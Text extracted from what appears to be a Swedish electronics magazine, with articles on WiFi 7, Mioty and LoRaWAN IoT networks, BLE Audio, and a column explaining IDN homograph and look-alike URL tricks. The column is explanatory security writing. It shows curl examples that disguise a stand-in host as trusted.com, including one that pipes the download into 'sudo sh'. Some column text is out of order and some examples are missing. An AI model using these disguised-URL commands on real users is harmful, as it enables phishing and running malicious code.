– Ett tillägg i WiFi 7 möjliggör dock även samtidig mottagning och sändning på olika frekvensband. En tänkbar användning för detta är så kallade mesh networks där fördröjningen minskas då det är möjligt att ta emot och sända samtidigt på två olika radio-interface.

– En del avancerade tekniker från mobilnät/5G är också under

har en enhet som kopplar upp sig mot nätverket hittat en tillgänglig kanal och sedan hållit sig till den, men med WiFi 7 kan den sända på flera kanaler – även om de skulle ligga i olika frekvensband. Finkornigare signalmodulering är ytterligare en prestandahöjare i WiFi 7. Moduleringen kallas 4K-QAM eller 4096-QAM och varje symbol överför 12 bitar (4 096 olika värden) snarare än 10 bitar som i WiFi 6, vilket ger 10–20 procents förbättring på toppen.

TRÅDLÖSA NÄTVERK passar inte alltid ihop med realtidstillämpningar, vare sig det gäller industristyrning eller datorspelande, eftersom radiotrafik är oförutsägbar och känslig för störningar. Varken Fortnite-spelare eller ventiler behöver i allmänhet särskilt hög överföringshastighet, men det är viktigt med låg fördröjning (latens) och kanske framför allt liten variation (jitter) i responstiden.

Redan WiFi 6 kan enligt Intel

utredning för att komma med i WiFi 7-standarden.

Vad ser ni som de stora utmaningarna med att ta fram antenner för WiFi 7? – För att utnyttja prestandan i 802.11be/WiFi 7 krävs flera antenner (minst 4). Förutom att säkerställa god antenneffektivitet inom de aktuella frekvensbanden är största utmaningen vid utveckling av antenner för WiFi 7, liksom WiFi 6, att säkerställa god isolation mellan de ingående antennerna. Dessa ska ju kunna rymmas på relativt liten yta utan att påverka varandra negativt samtidigt som de ändå ska ha bra effektivitet.

pressa ner fördröjningar till enstaka millisekunder under goda förhållanden, vilket räcker mer än väl för exempelvis spelande, men det saknas mekanismer för att få kontroll över responstiderna om signalkvalitén försämras. I grund och botten har WiFi 7 samma problem men i praktiken kommer den nya standarden förbättra situationen, framför allt genom möjligheten att använda flera länkar. I stället för att använda ”extralänkarna” till att skruva upp överföringskapaciteten och skicka mer data kan man ha dem för redundans: skicka samma paket på flera länkar.

Även om det skulle vara störningar på någon radiofrekvens kan paketet komma fram på en annan länk, och fördröjningen hålls nere.

Riktiga realtidsfunktioner, som reservation av kapacitet och prioritering av trafik, finns enligt Intel på ritbordet men tycks saknas i den första versionen av WiFi 7.

Avslutningsvis, hur fort går det då med WiFi 7? Det beror givetvis

på alla möjliga omständigheter, som trängsel i etern, om det är fri sikt till routern, genomsnittlig paketstorlek och så vidare, men maxhastigheten för en enskild enhet anges till drygt 5 Gbit/s –förutsatt att enheten ifråga använder 6 GHz-bandet och stödjer nya funktioner som länkaggregering och 4K-QAM-kodning.

DEN TOTALA KAPACITETEN för en WiFi 7-router anges vara imponerande 46 Gbit/s. Det är tillräckligt för att samtidigt strömma ett tusental filmer i 4Kupplösning, för att ta ett något konstruerat exempel. Formellt kommer WiFi 7-standarden som sagt fastställas senare under 2023 eller tidigt 2024, och det är under förutsättning att det inte blir några förseningar i processen. Det hindrar inte att några tillverkare redan har visat upp WiFi 7-kapabla routrar. Den som till äventyrs besökte CES häromveckan kunde till exempel se produkter från både TP-Link och ASUS,

och i båda fallen ska de finnas till försäljning inom några månader.

Gott så, men vad ska jag med en sådan router till om jag inte har några datorer eller mobiler, eller egentligen någonting över huvud taget, som kan koppla upp sig med WiFi 7? Klarar jag mig inte lika bra med en äldre och billigare WiFi 6-router?

Generellt sett är svaret ja, men det finns en situation där WiFi 7-routrar kan göra omedelbar nytta: så kallade mesh-nätverk där flera enheter samverkar för att täcka en stor yta, som till exempel på ett kontor eller i en mässhall.

En sådan mesh-grupp kan använda 2,4 och 5 GHz-banden för att ansluta klientenheter och utnyttja 6 GHz-bandet som stamnät för kommunikation sinsemellan och med omvärlden. Gruppen kan också konfigureras med en gemensam MAC-adress så att anslutna enheter bara ser en (virtuell) router oavsett vilken de ansluts till.

MIOTY:

Som Lorawan men med högre tillförlitlighet

Dela upp datapaketen i mindre delar och skicka dem i olika frekvens- och tidsluckor. Det ökar sannolikheten för att informationen kommer fram även om det finns störningar. Lösningen, döpt till Mioty, har utvecklats och standardiserats av det tyska forskningsinstitutet Fraunhofer i Nürnberg och är ett färskt alternativ till Lorawan.

– Vi ser en exponentiell tillväxt för IoT-noder de kommande åren, frågan är hur de ska kopplas upp? Vi har fokuserat på långa avstånd och hög kvalitet i privata nät. Där finns Lorawan men det ägs av Semtec, säger Ferdinand Kemeth på Fraunhofers kontor i Nürnberg, och fortsätter:

– Vi säljer inga hårdvarukomponenter utan har utvecklat Mioty som sedan kan implementeras i olika produkter.

Mioty ska utläsas ”My IoT” och är ett protokoll standardiserat av ETSI år 2018. Det går att köra på radiokretsar från bland annat Texas Instruments, ST Microelectronics och Silicon Labs.

Precis som för Lorawan används normalt 868 MHz-bandet i Europa men det finns inget som

hindrar att man använder andra fria frekvensband. Exempelvis har det genomförts tester på 169 MHz-bandet.

I USA används 915 MHzbandet medan Indien och Kina har andra band.

Licensieringen av protokollet görs från Sisvel, ett företag med lång erfarenhet av licensieringen för wifi och andra

radiostandarder. Det är tillverkaren av accesspunkten eller IoTnoden som tecknar licensen, sen är det fritt fram för kunderna att använda den färdiga produkten utan begränsningar eller extra kostnader.

PÅ SEDVANLIGT MANÉR skapades det i slutet av 2019 en intresseorganisation kallad Mioty Alliance för att marknadsföra den nya standarden. Medlemmarna har fortfarande en slagsida åt tyska automationsföretag men listan växer snabbt och blir allt mer internationell inklusive de tre halvledartillverkare som nämnts ovan.

Embedded World i Nürnberg i mars 2020 kan ses som den

officiella debuten, så antalet produkter är än så länge relativt få, på alliansens hemsida finns ett 20-tal listade. Där hittar man både accesspunkter (gateways) och kompletta IoT-noder med olika sensorer liksom experimentlådor och radiokort från ett antal leverantörer, inklusive svenska Wittra. Mer om dem i en separat artikel.

Både Mioty och Lorawan tillhör kategorin LPWAN, Low Power Wide Area Network. De är uppbyggda som stjärnnät med en gateway som kommunicerar med många IoT-noder på längre avstånd men med relativt låga datatakter.

Det som framförallt skiljer dem åt är hanteringen av data-

Telegram Splitting Multiple Access eller TSMA är basen i Mioty och delar upp meddelandet i flera mindre och delvis redundanta delar. Det räcker att hälften av paketen kommer fram för att meddelandet ska kunna återskapas.

paketen. I Mioty delas de upp i mindre och delvis redundanta delar som sedan skickas i olika tidsluckor och på olika frekvenser. Tekniken är patenterad och kallas telegramsplittning.

– Om minst hälften av dem kommer fram går det att rekonstruera datapaketet. Det ger robusthet mot störningar från andra noder vilket leder till hög kapacitet.

Ett av problemen med Lorawan är att ju fler noder som vill kommunicera med en gateway desto fler blir krockarna och därmed också antalet paket som inte kommer fram.

Man skulle kanske kunna tro att fler paket leder till högre strömförbrukning men René Dünkler på Fraunhofer hävdar motsatsen.

– Det är en helt annan kanalkodning som gör att vi kan korta sändningstiden vilket i sin tur resulterar i att Mioty är tre gånger energisnålare än Lora.

MEDDELANDENA ÄR KORTARE Minsta storleken är 10 byte medan den maximala är 250 byte. Meddelandena skickas enligt ett av flera förutbestämda

mönster (pseudo random) som basstationen känner till och använder för att rekonstruera meddelandena. Det finns inget lyssnande efter lediga tids- och frekvensluckor eftersom det skulle öka strömförbrukningen.

I och med att meddelandena är korta, och kommunikationen robust, blir kapaciteten stor. På 868 MHz-bandet har en basstation en teoretisk kapacitet att ta emot 3,5 miljoner meddelanden per dag.

TRAFIKEN ÄR NORMALT dubbelriktad, det går både att ta emot meddelanden från en nod och att skicka meddelanden till den, men det går också att konfigurera trafiken för enbart en riktning vilket inte är möjligt med Lora.

Räckvidden bestäms av den maximala uteffekten som för 868 MHz-bandet normalt ger cirka fem kilometer, även om den vid fri sikt ligger uppåt 15 km.

Dessutom går det att skicka data från ett fordon som förflyttar sig i upp till 120 km/h.

PER HENRICSSON per@etn.se

Svenskarna som anammat Mioty

Stockholmsbaserade Wittra fick tidigt korn på IoTstandarden Mioty och såg att den kunde bli ett komplement till andra sätt att koppla upp IoT-noder. Företaget har sedan i somras en spårsändare för Mioty och släpper i dagarna en gateway.

– Vi var en av de första som anammade tekniken. Vi har gjort utvecklingsarbete tillsammans med Fraunhofer, så de gillar oss, säger Warwick Taws Han är teknikchef på Wittra och kom i kontakt med Mioty för ungefär tre år sedan.

Wittra grundades 2007 och utvecklar IoT-system för att spåra saker baserat på bland annat 6LoWPAN men hade inga produkter för Lorawan.

– Det är mitt jobb att göra omvärldsbevakning. Jag försöker vara proaktiv så jag kontaktade Fraunhofer. Vi gillade specifikationen, den adresserar en del av problemen som finns med Lora, så vi sade ”vi tar en risk genom att investera tid och pengar”.

Wittra har testat Lora och Mioty sida vid sida.

– När det inte är några störningar får man i princip samma resultat men Mioty har en fördel när det finns störningar i frekvensbandet. Det är samma

förhållande som när det finns flera operatörer med Loranät som hör varandra, då får man paketförluster.

LORAWAN OCH MIOTY använder samma frekvensband och har dessutom en låg datatakt runt 500 bit/s.

– En Mioty-gateway klarar upp till 100 000 noder som alla skickar med maximal hastighet.

Företaget har startat försäljningen av en egenutvecklad gateway för Mioty och har dessutom en IoT-nod för spårning som lanserade för ett halvår sedan. Den senare går att köpa från både Mouser och Farnell.

IDN låter urlar luras

Internationella tecken i URL:er gjorde äntligen räksmörgås.se till en laglig domän. Men det finns säkerhetsproblem.

IDN

eller International Domain Names, är ett system som utvecklats för att se till att vi kan använda internationella tecken när vi registrerar och använder domännamn. Med ”internationella” menas allting som inte finns i ASCII.

IDN fungerar genom att applikationer som vill kunna använda internationella domännamn konverterar originalet med dess Unicode-symboler till punycode. Det är ett sätt att konvertera IDN till ren ASCII och med punycodeversionen av namnet kan man sedan utan problem slå upp det i DNS et cetera utan att den delen av ekosystemet behöver kunna någonting om Unicode. Domänen räksmörgås.se blir till exempel

Tack vare IDN och punycode kan vi använda URL:er med åäö utan problem i diverse verktyg och webbläsare, men även URL:er med domäner som är skrivna helt med arabiska, kinesiska, kyrilliska eller andra icke-latinska skrivtecken. Därmed är

en fungerande URL, om även ganska svår att skriva in för många personer utanför Japan. Närapå hela Unicode-rymden finns tillgänglig, och detta är förstås attraktivt för stora delar av världen där ASCII inte räcker till för lokala namn och varumärken. Glömda är de dagar då alla namn och URL:er behövde skrivas med ASCII.

Så snart IDN lanserats insåg man att Unicode innehåller många symboler som är identiska eller nästan identiska med andra symboler och att det kan utnyttjas. Man kan hitta på ett namn och skapa fejkade sajter med namn som har väldigt få eller kanske inga visuella skillnader från det namn du försöker efterlikna.

Ett exempel är paypal.com . Den kan i de flesta typsnitt byta tecknet ”l” mot Cyrillic

Capital Letter Iota och se helt identisk ut. Det kallas för en homograf och tekniken att ersätta ett eller flera tecken mot symboler som ser identiska ut kallas en homografattack. Den kan försvåras i webbläsare, vilka bland annat byter till att visa adressen i URLraden i punycodeformat när de bedömer det lämpligt, så att användare ska få en chans att upptäcka att det inte var det paypalnamn i adressfältet som de trodde att det var.

Domännamn med tecken från flera olika scripts (i princip från flera olika språk) visas till exempel alltid som punycode istället för med Unicodesymboler. Detta gör homografattacker lättare att genomskåda; i alla fall av de användare som läser och förstår adressfältet i webbläsaren.

Att webbläsare gör så hjälper hjälper dock inte om någon försöker få dig att köra till exempel ett curl-kommando som använder tricket:

Om någon kopierar den raden från ett online-dokument, klistrar in den i en terminal och trycker på return så kommer den kanske lite överraskande att visa

DET FINNS OCKSÅ en annan variant av symbolbytet ovan, som åtminstone för mig har flugit under radarn länge. Jag vill gärna kalla den en heterografattack eftersom den fungerar lite tvärtom: det är ett sätt att få namn att se olika ut men ändå i slutändan vara exakt samma.

IDN har ett inbyggt koncept där det ”hjälpsamt” ersätter ett antal symboler som ser likadana eller nästan likadana ut som ett ASCII-alternativ med just det ASCII-tecknet. Jag tycker att det här orsakar mer problem och smärta i folks liv än det gör nytta.

Det betyder att ett namn som använder en IDN-version av en eller flera symboler kan få dem översatta till sina ASCII-motsvarig-

heter. Effekten kan alltså bli att ett namn som använder IDN omvandlas och kanske inte längre använder IDN när processen är klar och därmed kan användas ”som vanligt” från den punkten – utan punycode. Exempel:

KOPIERAR MAN DEN HÄR RADEN och klistrar in i en terminal så upptäcker man att den fungerar. Också i webbläsare, med det lilla tillägget att den visar adressen som curl.se – den färdigomvandlade versionen.

Den här metoden att skriva in alternativa versioner av namn kan användas för att undvika filter och blockeringar, och har redan använts för att hitta ett par säkerhetsproblem i curls HSTS-hantering. Det finns helt säkert många verktyg, filter och program ute i världen som kan luras med variationer av det här tricket.

Adressen fungerar för att symbolerna i namnet översätts automatiskt till sina ASCIImotsvarigheter av IDN-funktionen. När översättningen är klar är det bara curl.se kvar, vilken då inte ens behöver punycode.

Exemplet ovan visar också att heterografattacken kan byta ut punkter. Jag använder tecknet Halfwidth Ideographic Full Stop Unicode-rymden är stor och det finns mängder av alternativ för i stort sett varje ASCII-tecken i det latinska alfabetet. Bara för bokstaven C hittade jag snabbt minst 15 olika Unicode-symboler som översätts till den. Bokstaven E verkar ha ännu fler. De kallas confusables och du kan undersöka dem genom att följa QR-länken intill. Mängden möjliga permutationer för ett givet namn skrivet i ASCII är enorm.

DET SLUTAR INTE med att det finns Unicodealternativ till bara bokstäver. Det finns även alternativ till andra i URL:er vanligt förekommande tecken som kan användas för att riktigt förvirra en vanligt dödlig. Till exempel är Fraction Slash förvirrande lik en vanlig ASCII framåt-slash. Stoppar du in

den i en URL och ser till att du har din egen domän efter, kan du skapa konstverk som det här:

$ curl https://google.com⁄.curl.se curl: (6) Could not resolve host: google.xn--com-qt0a.curl.se

Om du klistrar in den URL:en i en webbläsare kommer den förstås att byta till punycodeläget direkt, men ändå. Det kanske är försent. Som ett alternativ till slashen som inte är en slash så kan man också luras med något som ser ut som ett frågetecken men inte är det. Symbolen Latin Capital Letter Glottal Stop är väldigt lik ett frågetecken i många teckensnitt:

$ curl https://google.comɁ.curl.se

SJÄLVKLART VORE DET ENKELT att sätta upp en server med just dessa namn ifall vi verkligen ville lura användare.

Låt oss avrunda med ett tredje tecken som är vanligt i URLer: hash-symbolen som avgränsar den del av URL:en som kallas fragment. Just den delen av URL:en är ju normalt lite annorlunda eftersom den inte skickas över nätet och därmed egentligen bara har betydelse lokalt i webbläsaren. Så länge man inte byter ut den mot något annat då.

Symbolen Viewdata Square kan användas för att lura en användare här. Vid en snabb blick kan man lätt tro att följande URL leder till trusted.com :

$ curl https://trusted.com#.fake.com

Som om allt det där inte skulle räcka, lägger vi till en nivå på klurigheterna: procentkodning. I en URL kan man koda enskilda oktetter och ersätta dem med dess bytevärde skrivet som %HH där HH är ett tvåsiffrigt hexadecimalt tal. Tecknet ”a” kan därmed alltså istället skrivas som ”%61” i en URL.

Vi kan kombinera en heterografvariant från ovan med procentkodning så att följande harang fortfarande landar som curl.se: $ curl ”https://%e2%84%82%e1%b5%a4%e 2%93%87%e2%84%92%e3%80%82%f0%9d%90% 92%f0%9f%84%b4”

DU KAN KLISTRA IN DEN i en webbläsare och det fungerar lika fint där. Sekvensen är alltså sju stycken procentkodade Unicode-symboler skrivna i UTF-8.

Unicode har en rolig symbol som rent bokstavligt inte är någonting. Den heter Zero Width Space och är alltså ett mellanrum som inte har en bredd. Den syns inte och tar ingen plats när den används. IDN känner till den här symbolen och tar automatiskt bort den om den används i ett domännamn. Det betyder i sin tur att du kan stoppa in en eller flera sådana här mellanrum utan bredd i ett hostnamn i en URL utan att det förändrar hur URL:en hanteras. Den exakta sekvensen för den här symbolen skriven i procentkod är %e2%80%8b.

Istället för curl.se kan vi alltså använda $ curl https:// cu%e2%80%8brl.s%e2%80%8be

ANVÄNDARE AV CURL eller andra kommandoradsverktyg kommer förstås inte se en punycode-version av URL:erna någonstans så kanske är de därmed lite enklare att lura med såna här trick. Det är ju dessutom numera vanligt i mycket dokumentation att erbjuda exempel-rader färdiga att kopiera och klistra in direkt i terminalen. Även i de fall användaren är mycket uppmärksam och kanske också kontrollerar verbose-data noggrant är ett sådant bedrägeri svårt att upptäcka.

Att det är HTTPS som används i de här fallen räddar eller hjälper inte någon heller eftersom det inte finns något som hindrar bedragare att skapa dessa domännamn och erbjuda helt legitima certifikat för såna namn.

Ett sätt att lura folk som inte är lätt att fånga är att förmå användare att ladda ner någonting genom en dylik fejk-sajt, medan det ser ut som att det sker från en känd och betrodd domän. Typ: $ curl https://trusted.com?.fake.com/ file -O

EFTERSOM FRÅGETECKNET i URL:en är en Unicode-symbol och curl stöder IDN, så laddas filen egentligen ner från fake.com istället för

trusted.com . Ägaren av fake.com behöver bara se till att de har ett namn i sin DNS som heter trusted.xn--com-qt0a.fake.com och leverera innehåll över HTTPS där. En attack skulle även kunna använda sig av en omdirigering till den riktiga trusted. com i 99 procent av fallen, eller kanske för samtliga fall där user-agenten eller sourceIP:t inte stämmer överens med de som vi letar efter och vill lura.

Det gamla tricket att ”pipe:a output från curl direkt till shell” är förstås också något som väldigt tydligt skulle vara skadligt om man kan få användaren att ladda ner innehåll från fel sajt: $ curl https://trusted.com?.fake.com/ script | sudo sh

IDN OCH UNICODE innehåller ännu fler finesser som kan användas för att snurra till det för användare. Det talas till exempel om att man genom att blanda vänster-till-höger text med höger-till-vänster i samma domän kan knöla till det ordentligt. Och det finns saker som att en Unicode-symbol kan omvandlas till två ASCII-tecken, et cetera. Det här är helt enkelt en skattkammare för den som vill erbjuda användare hjärngymnastik!

TLD-ägare och organisationer som erbjuder registrering av domäner har blocklistor för symboler de inte tillåter. Det förhindrar dock inte att vi kan använda dem i subdomäner. De trick jag visat ovan fungerar ju allihop utan att någon ny domän registreras. Alla TLD:er är dessutom inte lika strikta eller ens noga med att upprätthålla sina regler. Det har visat sig tidigare när domäner registrerats innehållandes smileys, et cetera.

Din vägvisare i 2023 E XPE RTA KITR LE

Digitalisering, eller digital transformation, är ett begrepp vi hört mycket om de senaste åren. IoT, sakernas internet, är en av många tekniker som möjliggör digitalisering. Digital transformation handlar ofta om en teknisk övning, men för att lyckas måste transformationen framförallt uppvisa affärsnytta. Affärsnyttan lägger vi åt sidan i den här artikeln, vi skall bara fokusera på vad du behöver veta om de tekniker som är tillgängliga för IoT under 2023.

Internet of Things är ett vitt begrepp för saker som är anslutna till internet. Det är inte en disruptiv teknik bestående av en enda gren, utan snarare ett samlingsbegrepp för flera grenar. Många tänker på stora sensornätverk när man hör IoT, massiv IoT. Jag brukar beskriva massiv IoT som att man vill lösa tre grundbehov:

• Mäta någon form av data (sensorer)

• Styra någonting (actuators eller på svenska ställdon)

• Positionera någonting (spårningsutrustning som trackers)

Massiv IoT eller LPWAN?

Varje uppkopplad enhet har normalt två gränssnitt, det ena är radiotekniken, det andra är det som ansluts till enheten, exempelvis en sensor. Det andra gränssnittet, radiogränssnittet, består av olika tekniker för LPWAN eller Low Power Wide Area Network. LPWAN, är ingen teknikstandard, utan snarare en grupp av trådlösa tekniker som använder låg effekt men har stort täckningsområde.

Så vilka tekniker finns då till hands för LPWAN och går att köpa över disk första halvåret 2023?

Egen nätinfrastruktur

Låt oss först titta på tekniker där du måste bygga nätverksinfrastrukturen själv. Här hittar vi två kandidater, Mioty och 5G NR+ (om du inte är en operatör så klart, då finns flera val). Dessa tekniker är främst intressanta för projekt som har ett fysiskt begränsat område. Allt annat skulle medföra extremt höga extrakostnader på grund av infrastruktur och personal.

Mioty

Tekniken: Mioty är en relativt ny teknik för fria frekvenser, i Europa används 868 MHzbandet som är licensfritt. Bandbredden är 200 kHz för två kanaler. Det som kännetecknar tekniken är att den använder en effektiv kanalkodning, så kallad telegramdelning (telegram splitting multiple access eller TSMA). Den delar upp ett data i flera delpaket och adderar felkorrigerande koder. Detta gör överföringen robust mot störningar och paketkollisioner. Eftersom det skapar liten

Av Ulf Seijmer, Induo och AKKR8

Ulf Seijmer är innovationschef på Induo samt CTO och medgrundare till hårdvaruföretaget AKKR8. Han är också styrelsemedlem i EUTECHs IoT Alliance. År 2012 skrev han en av de första artiklarna om 5G, en artikel som publicerades i Elektroniktidningen. Ulf är en frekvent anlitad föreläsare inom trådlös teknik för LPWAN och 5G.

Luftkvalitetspaket mini från AKKR8 (t.h.) är ett nyckelfärdigt koncept för övervakning av luftkvalitet, luftfuktighet och temperatur som kopplar upp sig via mobilnätet.

LoRa N’Track från Induo är en tracker med med GPS, en magnetsensor och en rörelsesensor för både privata och publika LoRa-nät.

självstörning kan systemet samtidigt stödja upp till en miljon sändare.

För vem: Om du vill dra nytta av fria band, har identifierat prestandaproblem med LoRaWAN och vill bygga egen infrastruktur, då kan Mioty vara något för dig. På pappret en teknik med avsevärt bättre prestanda, men med ett begränsat hårdvaruutbud. Att välja Mioty är en balansgång, finns det tillgänglig hårdvara för det du ska göra kan det vara ett intressant alternativ, om inte, titta på LoRaWAN.

5G NR+

Tekniken: DECT NR+ 5G kännetecknas av att den inte behöver någon egentlig infrastruktur, inga basstationer. Tekniken är istället designad för att vara decentraliserad och använder mesh-teknik. DECT NR+ 5G aspirerar på att vara framtidssäkrad och har stöd för kanalbredder från 1,728 MHz upp till 220 MHz, vilket skall täcka marknadens nuvarande och framtida behov av datahastighet och latenstid. I det här fallet är det 1,9 GHz-bandet som använts, medan standarden NR+ täcker hela 17 band i frekvensbandet till 6 GHz.

För vem: NR+ aspirerar på att vara en demokratiserad 5G-standard med låg investeringskostnad. Perfekt för smarta städer, mätare för el och vatten samt för industriella nätverk. Min känsla är att detta kan bli en hit. Standarden är satt och hårdvara börjar så smått göras tillgänglig. Nordic Semiconductor jobbar med att ta fram chip, och man börjar redan nu med smarta elmätare, medan massmarknaden kommer till hösten 2023. Initialt så lär du inte hitta NR+ över disk med andra ord.

Eget nät och operatörshanterade nät?

Det finns en teknik där du kan bygga eget nät eller välja en operatör, nämligen LoRaWAN. Egentligen finns det två, men för LPWAN är det LoRaWAN som gäller. 5G finns ju för privata nät, men på de band som tilldelas i Sverige, N86, finns inte hårdvara för LPWAN.

LoRaWAN

Tekniken: LoRaWAN möjliggör smalbandsöverföring på kortare och längre avstånd. LoRaWAN kan sända långt med låg uteffekt vilket gör att strömförbrukningen kan hållas nere. För att dra nytta av LoRaWAN bör datamängderna vara minimala. Ju längre avstånd från basstationen desto större blir strömförbrukningen, precis som med NB-IoT eller CAT-M1. LoRaWAN har begåvats med nyheten Relay vilket när det görs tillgängligt gör att LoRaWAN kan täcka större avstånd än tidigare, eller hålla nere strömförbrukningen vid långa avstånd.

För vem: LoRaWAN är en flexibel standard som passar för den som vill bygga egna nät eller använda publika nät. Det finns många områden där LoRaWAN är starka. Inomhusautomation i professionella fastigheter (proptech) och lantbruk (agritech) är två starka områden. Men även kommunala verksamheter har byggt LoRaWAN nät för att erbjuda verksamheter att testa IoT. Ovanpå det finns det flera LoRaWAN operatörer som erbjuder färdiga nät. Till skillnad från en 5Goperatör så äger inte dessa operatörer sitt spektrum, vilket gör att de inte kan lämna några garantier runt tillgången på frekvensbandet, en nedsida om du söker pålitlighet.

års IoT-djungel

Operatörsbaserade nät

Om du vill lämna nätansvaret till en operatör finns utöver LoRaWAN ytterligare två tekniker, nämligen Sigfox och 5G.

Sigfox

Tekniken: SigFox är liksom LoRaWAN beroende av de fria frekvenserna 868 MHz. SigFox är en smalbandig (ultra-narrowband) teknik som delar in spektrum i mycket smala bitar för att sända och ta emot data. Detta gör att mottagaren kan använda en begränsad bit av spektrum och stänga ute effekten av brus. Varje meddelande är bara 12 bytes för att öka robustheten mot andra sändare på samma kanal. SigFox nät drivs av en operatör som bygger täckning, man kan alltså inte bygga själv.

För vem: Sigfox vänder sig till samma typ av kunder som LoRaWAN via operatörsbaserade upplägg. Det franska moderbolaget Sigfox gick i konkurs för ett år sedan och har nu ny ägare, UnaBiz. UnaBiz har tagit in runt 60 miljoner dollar i kapital. Mitt tips runt Sigfox är att avvakta hur det utvecklar sig affärsmässigt. LoRaWAN eller NB-IoT är de tekniker du skall titta på 2023, Sigfox är ett osäkert kort.

5G-tekniker

NB-IoT och LTE-CAT-M1 är 3GPP-standarder för både 4G och 5G. De använder cellulär uppkoppling på licensierat radiospektrum som ägs av en operatör. Dessa lösningar erbjuder säkerhet och minimal risk för interferens från andra system. Tids- och frek-

venssynkronisering tillsammans med handskakning används för att undvika kollisioner som orsakas av andra överföringar. Det här är mekanismer som avsevärt förbättrar skalbarheten. Båda teknikerna har stöd för batterisparfunktioner som Power Save Mode och en del andra strömsparmekanismer.

NB-IoT

Tekniken: NB-IoT (Narrowband IoT) kännetecknas av bra täckning inomhus, låg kostnad, lång batteritid och stöd för stort antal enheter per basstation. NB-IoT:s nackdelar är hög latens och låg datatakt, maximalt 127 kbit/s (från och med release 14). NB-IoT har stöd för handover mellan basstationer men är inte främst avsedd för mobila applikationer. NB-IoT har tre energilägen beroende på avstånd till basstationen. NB-IoT finns i två iterationer, normalt kallade NB1 och NB2. De flesta nät och de allra flesta hårdvaror på marknaden stöder NB1 medan NB2 har potentiellt lägre strömförbrukning och bättre stöd för hand-over mellan basstationer.

För vem: NB-IoT är mindre flexibel än LTE CAT-M1. NB-IoT lämpar sig för smarta mätare och andra tillämpningar med små datapaket och behov av längre batterilivslängd. I dagsläget har Telia ett NB-IoT nät igång sedan något år. Tele2 och Telenor kommer lansera under 2023, osäkert när exakt under året. Min spaning är att 2023 är året då NB-IoT får fotfäste i Sverige på allvar.

CAT-M1

Teknik: CAT-M1 har till skillnad från NB-IoT

stöd för roaming och stöd för högre datatakter. LTE-M, som standarden ibland kalllas, stödjer hastigheter upp till 1 Mbit/s med en latens på 50 till 100 ms. Vissa menar att denna teknik är mer energikrävande jämfört med NB-IoT, men många tester visar att i situationer med bättre täckning är LTE CAT-M1 energisnålare.

För vem: LTE CAT-M1 är en flexibel standard som är väl beprövad och utbyggd. Fördelarna med högre datatakter gör att det är möjligt att utföra säkerhetsuppdateringar av enheter, något som är möjligt men olämpligt med andra standarder. Telenor, Tele2 och Telia har nät igång. Tre har tjänsten igång, men kommer att uppdatera tekniken under 2023. CAT-M1 har ett bra fotfäste i Sverige.

Slutsats

Samtliga tekniker passar för att styra, mäta eller spåra saker. De har olika egenskaper så att säga att en standard passar för en viss sak är inte helt enkelt. Det finns en rad frågor du bör ställa dig, men välj inte från hjärtat eller tyckare i ditt nätverk, välj en standard som är rätt affärsmässigt för din organisation. Se också upp med påståendet ”denna hårdvara har tio års batterilivslängd”. Fråga istället vad den har för förbrukning vid olika avstånd till basstationen, det skiljer sannolikt med en faktor fyra mellan bästa och sämsta värde.

I framtiden kommer vi att se nya utmanare från framförallt satellituppkoppling av både LoRaWAN och 5G-enheter. Men om du skall agera under 2023, då är detta inget att titta på just nu.

BLE Audio – utmaning att strömma ljud strömsnålt E XPE RTA KITR LE

Den som följer utvecklingen av BLE (Bluetooth Low Energy) känner till BLE Audio. Men exakt vad är det? Är det identiskt med BT 5.2? Betyder stöd för BT 5.2 per automatik stöd även för BLE Audio?

Det finns missuppfattningar både kring definitionen av BLE Audio och om vilka delar som är färdiga att ta i bruk. Tanken med den här artikeln är att förklara var vi ligger i utvecklingen av tekniken och vad som krävs för en bra implementering.

Ljud i klassisk Bluetooth vs BLE Första frågan är egentligen vad BLE Audio väntat på. Varför har det dröjt så länge innan BLE fått strömmande ljud? Svaret är att det är en tillämpning som inte riktigt matchar vad BLE är skapat för, vilket är strömsnåla IoT-tilllämpningar med sporadisk dataöverföring.

Klassisk Bluetooth klarar inte strömsnålhet eftersom dess förbindelser alltid är aktiva och en ansluten radioenhet alltid är aktiv.

BLE är strömsnål genom att den kan gå i viloläge och spara ström. Därmed matchar strömmande ljud egentligen inte BLE. Det krävs en kontinuerlig ganska hög datatakt för att strömma ljud. Att kompromissa fram en lösning mellan dessa i grunden olika typer av Bluetooth var inte helt lätt och krävde en ny teknik i flera steg, som vi ska beskriva här.

För det första krävdes stöd för streaming. Detta introducerades i Bluetooth 5.2. En

Av Nick Wood, Insight SiP

Nick Wood är branschveteran med erfarenhet bland annat från flera hightechbolag inom mobilteknik. Nick Wood är styrelseledamot i investeringsfonden Innovation Europe och medverkar även i Success Europe Investment. Han har ett eget sitt eget konsultföretag – Riviera Associates. Nick Wood har suttit i styrelsen för svenska Teleca AB och har en doktorsexamen i partikelfysik vid University College London och CERN.

missuppfattning är att BT 5.2 är detsamma som BLE Audio. Men faktum är att 5.2 inte bara stöder audio utan också teknik av annat slag, så 5.2 är i sig inte BLE Audio.

Protokoll för dataöverföring brukar be om omsändning om det uppstår paketfel tills paketet kommit fram. När det gäller streaming används istället paket som är tidsstämplade och tappade paket kasseras.

Det betyder att lyssnaren kommer att uppleva ett och annat glapp i ljudströmmen. Däremot uppstår inga fel med tajming eller med att ljudfragment repeteras.

Det strömningsprotkoll som BT 5.2 använder har det något otympliga namnet Isochronous Channels, isokrona kanaler.

Flerkanalsströmning

BT 5.2 tar strömning steget längre än klassisk Bluetooth genom att introducera möjligheten att strömma kanaler synkroniserat. Dagens generation Bluetooth-stereoheadset tvingas strömma stereosignalen till den ena

hörsnäckan som sedan får skicka en av kanalerna till den andra snäckan. Det är ineffektivt och begränsar möjligheterna.

Under 5.2 kan en och samma enhet streama flera kanaler, till exempel för att leverera fem kanalers surroundljud för hemmabio.

Ett problem som behövde hanteras var BLE:s begränsade datatakt. Klassisk Bluetooth EDR (Enhanced Data Rate) har teoretiskt en datatakt på upp till 3 Mbit/s. Bluetooth Low Energy är begränsad till 2 Mbit/s. Som nämndes ovan är vi dessutom kanske ute efter att införliva ännu fler kanaler.

Glöm heller inte bort att en teoretisk hastighet är just det – teoretisk. I en verklig miljö med 2,4 Ghz RF-signaler runt kroppen kommer de faktiska hastigheterna sannolikt att vara mycket lägre.

Ny kodek

För att lösa problemet har en ny kodek utvecklats – LC3 (Low Complexity Communication). En kodek komprimerar ljuddata för att

